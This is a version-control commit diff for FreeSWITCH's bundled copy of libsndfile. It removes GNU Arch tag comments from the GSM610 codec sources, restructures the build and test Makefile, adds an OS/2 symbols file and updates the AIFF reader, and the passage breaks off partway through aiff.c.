@@ -87,11 +84,4 @@
 	(void)memcpy( (char *)State->dp0, (char *)(State->dp0 + 160),
 		120 * sizeof(*State->dp0) );
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: ae8ef1b2-5a1e-4263-94cd-42b15dca81a3
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/config.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/config.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,11 +23,4 @@
 #define	HAS_UTIME_H	1		/* UTIME header file		*/
 
 #endif	/* CONFIG_H */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5338dfef-8e59-4f51-af47-627c9ea85353
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/decode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/decode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/decode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,7 +7,6 @@
 #include <stdio.h>
 
 #include	"gsm610_priv.h"
-#include	"gsm.h"
 
 /*
  *  4.3 FIXED POINT IMPLEMENTATION OF THE RPE-LTP DECODER
@@ -57,11 +56,4 @@
 	Gsm_Short_Term_Synthesis_Filter( S, LARcr, wt, s );
 	Postprocessing(S, s);
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 11ae5b90-2e8b-400b-ac64-a69a1fc6cc41
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -48,11 +48,5 @@
 void gsm_implode (gsm, gsm_signal *, gsm_byte   *);
 
 #endif	/* GSM_H */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 8cfc7698-5433-4b6f-aeca-967c6fda4dec
-*/
 
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm610_priv.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm610_priv.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm610_priv.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -298,11 +298,4 @@
 #endif /* !NDEBUG */
 
 #endif	/* PRIVATE_H */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 8bc5fdf2-e8c8-4686-9bd7-a30b512bef0c
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_create.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_create.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_create.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,11 +34,4 @@
 	memset (state, 0, sizeof (struct gsm_state)) ;
 	state->nrp = 40 ;
 } 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 9fedb6b3-ed99-40c2-aac1-484c536261fe
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_decode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_decode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_decode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -356,11 +356,4 @@
 
 	return 0;
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 6a9b6628-821c-4a96-84c1-485ebd35f170
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_destroy.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_destroy.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_destroy.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -21,11 +21,4 @@
 {
 	if (S) free((char *)S);
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: f423d09b-6ccc-47e0-9b18-ee1cf7a8e473
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_encode.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_encode.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_encode.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -446,11 +446,4 @@
 
 	}
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: cfe9c43d-d97c-4216-b5e5-ccd6a25b582b
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_option.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_option.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/gsm_option.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -64,11 +64,3 @@
 	}
 	return result;
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 963ff156-506f-4359-9145-371e9060b030
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/long_term.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/long_term.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/long_term.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,8 +9,6 @@
 
 #include "gsm610_priv.h"
 
-#include "gsm.h"
-
 /*
  *  4.2.11 .. 4.2.12 LONG TERM PREDICTOR (LTP) SECTION
  */
@@ -401,6 +399,15 @@
 		STEP_A(32); STEP_B(33); STEP_C(34); STEP_D(35);
 		STEP_E(36); STEP_F(37); STEP_G(38); STEP_H(39);
 
+#		undef STEP_A
+#		undef STEP_B
+#		undef STEP_C
+#		undef STEP_D
+#		undef STEP_E
+#		undef STEP_F
+#		undef STEP_G
+#		undef STEP_H
+
 		if (S0 > L_max) { L_max = S0; Nc = lambda;     }
 		if (S1 > L_max) { L_max = S1; Nc = lambda + 1; }
 		if (S2 > L_max) { L_max = S2; Nc = lambda + 2; }
@@ -567,6 +574,15 @@
 		STEP_A(32); STEP_B(33); STEP_C(34); STEP_D(35);
 		STEP_E(36); STEP_F(37); STEP_G(38); STEP_H(39);
 
+#		undef STEP_A
+#		undef STEP_B
+#		undef STEP_C
+#		undef STEP_D
+#		undef STEP_E
+#		undef STEP_F
+#		undef STEP_G
+#		undef STEP_H
+
 		if (S0 > L_max) { L_max = S0; Nc = lambda;     }
 		if (S1 > L_max) { L_max = S1; Nc = lambda + 1; }
 		if (S2 > L_max) { L_max = S2; Nc = lambda + 2; }
@@ -941,11 +957,3 @@
 
 	for (k = 0; k <= 119; k++) drp[ -120 + k ] = drp[ -80 + k ];
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: b369b90d-0284-42a0-87b0-99a25bbd93ac
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/lpc.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/lpc.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/lpc.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,8 +9,6 @@
 
 #include "gsm610_priv.h"
 
-#include "gsm.h"
-
 /*
  *  4.2.4 .. 4.2.7 LPC ANALYSIS SECTION
  */
@@ -331,11 +329,3 @@
 	Transformation_to_Log_Area_Ratios (LARc);
 	Quantization_and_coding		  (LARc);
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 63146664-a002-4e1e-8b7b-f0cc8a6a53da
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/preprocess.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/preprocess.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/preprocess.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,8 +9,6 @@
 
 #include "gsm610_priv.h"
 
-#include	"gsm.h"
-
 /*	4.2.0 .. 4.2.3	PREPROCESSING SECTION
  *  
  *  	After A-law to linear conversion (or directly from the
@@ -105,11 +103,3 @@
 	S->L_z2 = L_z2;
 	S->mp   = mp;
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: b760b0d9-3a05-4da3-9dc9-441ffb905d87
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/rpe.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/rpe.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/rpe.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,8 +9,6 @@
 
 #include "gsm610_priv.h"
 
-#include "gsm.h"
-
 /*  4.2.13 .. 4.2.17  RPE ENCODING SECTION
  */
 
@@ -480,11 +478,3 @@
 	RPE_grid_positioning( Mcr, xMp, erp );
 
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 82005b9e-1560-4e94-9ddb-00cb14867295
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/short_term.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/short_term.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/short_term.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -9,8 +9,6 @@
 
 #include "gsm610_priv.h"
 
-#include "gsm.h"
-
 /*
  *  SHORT TERM ANALYSIS FILTERING SECTION
  */
@@ -417,11 +415,3 @@
 	LARp_to_rp( LARp );
 	FILTER(S, LARp, 120, wt + 40, s + 40);
 }
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 019ac7ba-c6dd-4540-abf0-8644b6c4a633
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/GSM610/table.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/GSM610/table.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/GSM610/table.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -15,7 +15,6 @@
 
 #define	GSM_TABLE_C
 #include "gsm610_priv.h"
-#include	"gsm.h"
 
 /*  Table 4.1  Quantization of the Log.-Area Ratios
  */
@@ -59,11 +58,3 @@
  */
 /* i                  0      1       2      3      4      5      6      7   */
 word gsm_FAC[8]	= { 18431, 20479, 22527, 24575, 26623, 28671, 30719, 32767 };
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 8957c531-e6b0-4097-9202-da7ca42729ca
-*/
-

Modified: freeswitch/branches/seven/libs/libsndfile/src/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,62 +2,65 @@
 
 SUBDIRS = GSM610 G72x
 
+INCLUDES = @EXTERNAL_CFLAGS@
+
 lib_LTLIBRARIES = libsndfile.la
 include_HEADERS = sndfile.hh
 nodist_include_HEADERS = sndfile.h
 
+noinst_LTLIBRARIES = libcommon.la
+
 OS_SPECIFIC_CFLAGS = @OS_SPECIFIC_CFLAGS@
 OS_SPECIFIC_LINKS = @OS_SPECIFIC_LINKS@
 
+SYMBOL_FILES = Symbols.linux Symbols.darwin libsndfile-1.def Symbols.os2
+
 EXTRA_DIST = sndfile.h.in config.h.in test_endswap.tpl test_endswap.def \
-			Symbols.linux Symbols.darwin libsndfile.def cygsndfile.def \
-			create_symbols_file.py binheader_writef_check.py
+			$(SYMBOL_FILES) create_symbols_file.py binheader_writef_check.py
 
-noinst_HEADERS = common.h sfconfig.h sfendian.h float_cast.h wav_w64.h sf_unistd.h
+noinst_HEADERS = common.h sfconfig.h sfendian.h wav_w64.h sf_unistd.h
 
-noinst_PROGRAMS = test_endswap test_file_io test_log_printf
+noinst_PROGRAMS = test_main
 
-COMMON = sndfile.c common.c file_io.c command.c pcm.c ulaw.c alaw.c float32.c \
+COMMON = common.c file_io.c command.c pcm.c ulaw.c alaw.c float32.c \
 		double64.c ima_adpcm.c ms_adpcm.c gsm610.c dwvw.c vox_adpcm.c \
-		interleave.c strings.c dither.c broadcast.c
+		interleave.c strings.c dither.c broadcast.c audio_detect.c \
+ 		ima_oki_adpcm.c ima_oki_adpcm.h chunk.c
 
-FILESPECIFIC = aiff.c au.c g72x.c avr.c caf.c ircam.c macbinary3.c macos.c \
-				mat4.c mat5.c nist.c paf.c pvf.c raw.c svx.c voc.c htk.c dwd.c \
-				ogg.c rx2.c sd2.c sds.c txw.c wve.c w64.c wav_w64.c wav.c xi.c \
-				flac.c
+FILESPECIFIC = sndfile.c aiff.c au.c avr.c caf.c dwd.c flac.c g72x.c htk.c ircam.c \
+		macbinary3.c macos.c mat4.c mat5.c nist.c ogg.c paf.c pvf.c raw.c rx2.c sd2.c \
+		sds.c svx.c txw.c voc.c wve.c w64.c wav_w64.c wav.c xi.c mpc2k.c rf64.c
 
 # MinGW requires -no-undefined if a DLL is to be built.
 libsndfile_la_LDFLAGS = -no-undefined -version-info @SHARED_VERSION_INFO@ @SHLIB_VERSION_ARG@
-libsndfile_la_SOURCES = $(COMMON) $(FILESPECIFIC) $(noinst_HEADERS)
+libsndfile_la_SOURCES = $(FILESPECIFIC) $(noinst_HEADERS)
 nodist_libsndfile_la_SOURCES = $(nodist_include_HEADERS)
-libsndfile_la_LIBADD  = GSM610/libgsm.la G72x/libg72x.la -lm $(FLAC_LIBS)
+libsndfile_la_LIBADD = libcommon.la GSM610/libgsm.la G72x/libg72x.la \
+		@EXTERNAL_LIBS@ -lm
 
-test_endswap_SOURCES = test_endswap.c
+libcommon_la_SOURCES = $(COMMON)
 
-test_file_io_CFLAGS = $(AM_CFLAGS)
-test_file_io_SOURCES = file_io.c test_file_io.c
+test_main_SOURCES = test_main.c test_main.h test_conversions.c test_float.c test_endswap.c \
+					test_audio_detect.c test_log_printf.c test_file_io.c test_ima_oki_adpcm.c
+test_main_LDADD = libcommon.la
 
-test_log_printf_CFLAGS = $(AM_CFLAGS)
-test_log_printf_SOURCES = test_log_printf.c
 
 test_endswap.c: test_endswap.def test_endswap.tpl
 	autogen --writable test_endswap.def
 
-genfiles : test_endswap.c Symbols.linux Symbols.darwin libsndfile.def cygsndfile.def
+genfiles : test_endswap.c $(SYMBOL_FILES)
 
-# Two test programs.
+# A single test programs.
 # It is not possible to place these in the tests/ directory because they
 # need access to the internals of the SF_PRIVATE struct.
 
-check: test_endswap test_file_io test_log_printf
+check: $(noinst_PROGRAMS)
 	@echo
 	@echo
 	@echo
 	@echo "============================================================"
-	@if [ -x /usr/bin/python2.4 ]; then $(srcdir)/binheader_writef_check.py $(srcdir)/*.c ; fi
-	./test_endswap
-	./test_file_io
-	./test_log_printf
+	@if [ -x /usr/bin/python2.5 ]; then $(srcdir)/binheader_writef_check.py $(srcdir)/*.c ; fi
+	./test_main$(EXEEXT)
 	@echo "============================================================"
 	@echo
 	@echo
@@ -69,19 +72,19 @@
 # end user to create these files.
 
 Symbols.linux: create_symbols_file.py
-	./create_symbols_file.py linux $(VERSION) > Symbols.linux
+	./create_symbols_file.py linux $(VERSION) > $@
 
 Symbols.darwin: create_symbols_file.py
-	./create_symbols_file.py darwin $(VERSION) > Symbols.darwin
+	./create_symbols_file.py darwin $(VERSION) > $@
 
-libsndfile.def: create_symbols_file.py
-	./create_symbols_file.py win32 $(VERSION) > libsndfile.def
+libsndfile-1.def: create_symbols_file.py
+	./create_symbols_file.py win32 $(VERSION) > $@
 
-cygsndfile.def: create_symbols_file.py
-	./create_symbols_file.py cygwin $(VERSION) > cygsndfile.def
+Symbols.os2: create_symbols_file.py
+	./create_symbols_file.py os2 $(VERSION) > $@
 
 # Fake dependancy to force the creation of these files.
-sndfile.c : Symbols.linux Symbols.darwin libsndfile.def cygsndfile.def
+sndfile.o : $(SYMBOL_FILES)
 
 #======================================================================
 # Disable autoheader.
@@ -95,10 +98,3 @@
 command.c pcm.c ulaw.c alaw.c float32.c double64.c ima_adpcm.c : sndfile.h common.h
 ms_adpcm.c gsm610.c dwvw.c vox_adpcm.c interleave.c strings.c : sndfile.h common.h
 dither.c : sndfile.h common.h
-
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch
-## revision control system.
-##
-## arch-tag: fc3511e6-4230-4bcb-9c86-f728d7a06fe7
-

Copied: freeswitch/branches/seven/libs/libsndfile/src/Symbols.os2 (from rev 14471, freeswitch/trunk/libs/libsndfile/src/Symbols.os2) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/Symbols.os2	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/Symbols.os2	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+; Auto-generated by create_symbols_file.py
+
+LIBRARY sndfile1.dll
+INITINSTANCE TERMINSTANCE
+CODE PRELOAD MOVEABLE DISCARDABLE
+DATA PRELOAD MOVEABLE MULTIPLE NONSHARED
+EXPORTS
+
+_sf_command           @1
+_sf_open              @2
+_sf_close             @3
+_sf_seek              @4
+_sf_error             @7
+_sf_perror            @8
+_sf_error_str         @9
+_sf_error_number      @10
+_sf_format_check      @11
+_sf_read_raw          @16
+_sf_readf_short       @17
+_sf_readf_int         @18
+_sf_readf_float       @19
+_sf_readf_double      @20
+_sf_read_short        @21
+_sf_read_int          @22
+_sf_read_float        @23
+_sf_read_double       @24
+_sf_write_raw         @32
+_sf_writef_short      @33
+_sf_writef_int        @34
+_sf_writef_float      @35
+_sf_writef_double     @36
+_sf_write_short       @37
+_sf_write_int         @38
+_sf_write_float       @39
+_sf_write_double      @40
+_sf_strerror          @50
+_sf_get_string        @60
+_sf_set_string        @61
+_sf_open_fd           @70
+_sf_open_virtual      @80
+_sf_write_sync        @90
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/aiff.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/aiff.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/aiff.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 ** Copyright (C) 2005 David Viens <davidv@plogue.com>
 **
 ** This program is free software; you can redistribute it and/or modify
@@ -58,6 +58,8 @@
 #define sowt_MARKER		(MAKE_MARKER ('s', 'o', 'w', 't'))
 #define twos_MARKER		(MAKE_MARKER ('t', 'w', 'o', 's'))
 #define raw_MARKER		(MAKE_MARKER ('r', 'a', 'w', ' '))
+#define in24_MARKER		(MAKE_MARKER ('i', 'n', '2', '4'))
+#define ni24_MARKER		(MAKE_MARKER ('4', '2', 'n', '1'))
 #define in32_MARKER		(MAKE_MARKER ('i', 'n', '3', '2'))
 #define ni32_MARKER		(MAKE_MARKER ('2', '3', 'n', 'i'))
 
@@ -75,6 +77,14 @@
 #define GSM_MARKER		(MAKE_MARKER ('G', 'S', 'M', ' '))
 #define ima4_MARKER		(MAKE_MARKER ('i', 'm', 'a', '4'))
 
+/*
+**	This value is officially assigned to Mega Nerd Pty Ltd by Apple
+**	Corportation as the Application marker for libsndfile.
+**
+**	See : http://developer.apple.com/faq/datatype.html
+*/
+#define m3ga_MARKER		(MAKE_MARKER ('m', '3', 'g', 'a'))
+
 /* Unsupported AIFC encodings.*/
 
 #define MAC3_MARKER		(MAKE_MARKER ('M', 'A', 'C', '3'))
@@ -172,8 +182,12 @@
 } MARK_ID_POS ;
 
 typedef struct
-{	sf_count_t	comm_offset ;
+{	PRIV_CHUNK4 chunk4 ;
+
+	sf_count_t	comm_offset ;
 	sf_count_t	ssnd_offset ;
+
+	MARK_ID_POS *markstr ;
 } AIFF_PRIVATE ;
 
 /*------------------------------------------------------------------------------
@@ -214,7 +228,7 @@
 
 	memset (&comm_fmt, 0, sizeof (comm_fmt)) ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if ((psf->container_data = calloc (1, sizeof (AIFF_PRIVATE))) == NULL)
 		return SFE_MALLOC_FAILED ;
@@ -222,7 +236,6 @@
 	if (psf->mode == SFM_READ || (psf->mode == SFM_RDWR && psf->filelength > 0))
 	{	if ((error = aiff_read_header (psf, &comm_fmt)))
 			return error ;
-
 		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
 		} ;
 
@@ -230,7 +243,7 @@
 	{	if (psf->is_pipe)
 			return SFE_NO_PIPE_WRITE ;
 
-		if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_AIFF)
+		if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_AIFF)
 			return SFE_BAD_OPEN_FORMAT ;
 
 		if (psf->mode == SFM_WRITE && (subformat == SF_FORMAT_FLOAT || subformat == SF_FORMAT_DOUBLE))
@@ -257,7 +270,7 @@
 	psf->container_close = aiff_close ;
 	psf->command = aiff_command ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_U8 :
 				error = pcm_init (psf) ;
 				break ;
@@ -353,13 +366,15 @@
 static int
 aiff_read_header (SF_PRIVATE *psf, COMM_CHUNK *comm_fmt)
 {	SSND_CHUNK	ssnd_fmt ;
-	MARK_ID_POS *markstr = NULL ;
 	AIFF_PRIVATE *paiff ;
 	unsigned	marker, dword, FORMsize, SSNDsize, bytesread ;
 	int			k, found_chunk = 0, done = 0, error = 0 ;
 	char		*cptr, byte ;
 	int			instr_found = 0, mark_found = 0, mark_count = 0 ;
 
+	if (psf->filelength > SF_PLATFORM_S64 (0xffffffff))
+		psf_log_printf (psf, "Warning : filelength > 0xffffffff. This is bad!!!!\n") ;
+
 	if ((paiff = psf->container_data) == NULL)
 		return SFE_INTERNAL ;
 
@@ -390,6 +405,7 @@
 						return SFE_AIFF_NO_FORM ;
 
 					psf_binheader_readf (psf, "E4", &FORMsize) ;
+					pchk4_store (&(paiff->chunk4), marker, psf->headindex - 8, FORMsize) ;
 
 					if (psf->fileoffset > 0 && psf->filelength > FORMsize + 8)
 					{	/* Set file length. */
@@ -417,7 +433,9 @@
 			case COMM_MARKER :
 					paiff->comm_offset = psf_ftell (psf) - 4 ;
 					error = aiff_read_comm_chunk (psf, comm_fmt) ;
+					pchk4_store (&paiff->chunk4, marker, paiff->comm_offset, comm_fmt->size) ;
 
+
 					psf->sf.samplerate = tenbytefloat2int (comm_fmt->sampleRate) ;
 					psf->sf.frames = comm_fmt->numSampleFrames ;
 					psf->sf.channels = comm_fmt->numChannels ;
@@ -435,6 +453,7 @@
 						return SFE_AIFF_PEAK_B4_COMM ;
 
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf->headindex - 8, dword) ;
 
 					psf_log_printf (psf, "%M : %d\n", marker, dword) ;
 					if (dword != AIFF_PEAK_CHUNK_SIZE (psf->sf.channels))
@@ -466,20 +485,22 @@
 						psf->peak_info->peaks [dword].value = value ;
 						psf->peak_info->peaks [dword].position = position ;
 
-						LSF_SNPRINTF (cptr, sizeof (psf->u.scbuf), "    %2d   %-12ld   %g\n",
+						snprintf (cptr, sizeof (psf->u.scbuf), "    %2d   %-12ld   %g\n",
 								dword, (long) psf->peak_info->peaks [dword].position, psf->peak_info->peaks [dword].value) ;
 						cptr [sizeof (psf->u.scbuf) - 1] = 0 ;
 						psf_log_printf (psf, cptr) ;
 						} ;
 
+					psf->peak_info->peak_loc = ((found_chunk & HAVE_SSND) == 0) ? SF_PEAK_START : SF_PEAK_END ;
 					break ;
 
 			case SSND_MARKER :
 					if ((found_chunk & HAVE_AIFC) && (found_chunk & HAVE_FVER) == 0)
 						psf_log_printf (psf, "*** Valid AIFC files should have an FVER chunk.\n") ;
-			
+
 					paiff->ssnd_offset = psf_ftell (psf) - 4 ;
 					psf_binheader_readf (psf, "E444", &SSNDsize, &(ssnd_fmt.offset), &(ssnd_fmt.blocksize)) ;
+					pchk4_store (&paiff->chunk4, marker, paiff->ssnd_offset, SSNDsize) ;
 
 					psf->datalength = SSNDsize - sizeof (ssnd_fmt) ;
 					psf->dataoffset = psf_ftell (psf) ;
@@ -491,27 +512,37 @@
 					else
 						psf_log_printf (psf, " SSND : %u\n", SSNDsize) ;
 
+					if (ssnd_fmt.offset == 0 || psf->dataoffset + ssnd_fmt.offset == ssnd_fmt.blocksize)
+					{	psf_log_printf (psf, "  Offset     : %u\n", ssnd_fmt.offset) ;
+						psf_log_printf (psf, "  Block Size : %u\n", ssnd_fmt.blocksize) ;
+
+						psf->dataoffset += ssnd_fmt.offset ;
+						psf->datalength -= ssnd_fmt.offset ;
+						}
+					else
+					{	psf_log_printf (psf, "  Offset     : %u (Should be zero)\n", ssnd_fmt.offset) ;
+						psf_log_printf (psf, "  Block Size : %u ???\n", ssnd_fmt.blocksize) ;
+						} ;
+
 					/* Only set dataend if there really is data at the end. */
 					if (psf->datalength + psf->dataoffset < psf->filelength)
 						psf->dataend = psf->datalength + psf->dataoffset ;
 
-					psf_log_printf (psf, "  Offset     : %u\n", ssnd_fmt.offset) ;
-					psf_log_printf (psf, "  Block Size : %u\n", ssnd_fmt.blocksize) ;
-
 					found_chunk |= HAVE_SSND ;
 
 					if (! psf->sf.seekable)
 						break ;
 
-					/*      Seek to end of SSND chunk. */
+					/* Seek to end of SSND chunk. */
 					psf_fseek (psf, psf->dataoffset + psf->datalength + (SSNDsize & 1), SEEK_SET) ;
 					break ;
 
 			case c_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					if (dword == 0)
 						break ;
-					if (dword > SIGNED_SIZEOF (psf->u.scbuf) - 1)
+					if (dword >= SIGNED_SIZEOF (psf->u.scbuf))
 					{	psf_log_printf (psf, " %M : %d (too big)\n", marker, dword) ;
 						return SFE_INTERNAL ;
 						} ;
@@ -519,15 +550,19 @@
 					cptr = psf->u.cbuf ;
 					psf_binheader_readf (psf, "b", cptr, dword + (dword & 1)) ;
 					cptr [dword] = 0 ;
+
+					psf_sanitize_string (cptr, dword) ;
+
 					psf_log_printf (psf, " %M : %s\n", marker, cptr) ;
 					psf_store_string (psf, SF_STR_COPYRIGHT, cptr) ;
 					break ;
 
 			case AUTH_MARKER :
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					if (dword == 0)
 						break ;
-					if (dword > SIGNED_SIZEOF (psf->u.scbuf) - 1)
+					if (dword >= SIGNED_SIZEOF (psf->u.scbuf) - 1)
 					{	psf_log_printf (psf, " %M : %d (too big)\n", marker, dword) ;
 						return SFE_INTERNAL ;
 						} ;
@@ -544,6 +579,7 @@
 					unsigned int timestamp ;
 
 					psf_binheader_readf (psf, "E42", &dword, &count) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					psf_log_printf (psf, " %M : %d\n  count  : %d\n", marker, dword, count) ;
 					dword += (dword & 1) ;
 					if (dword == 0)
@@ -571,7 +607,10 @@
 					break ;
 
 			case APPL_MARKER :
+				{	unsigned appl_marker ;
+
 					psf_binheader_readf (psf, "E4", &dword) ;
+					pchk4_store (&paiff->chunk4, marker, psf_ftell (psf) - 8, dword) ;
 					if (dword == 0)
 						break ;
 					if (dword >= SIGNED_SIZEOF (psf->u.scbuf) - 1)
@@ -580,8 +619,14 @@
 						break ;
 						} ;
 
+					if (dword < 4)
+					{	psf_log_printf (psf, " %M : %d (too small, skipping)\n", marker, dword) ;
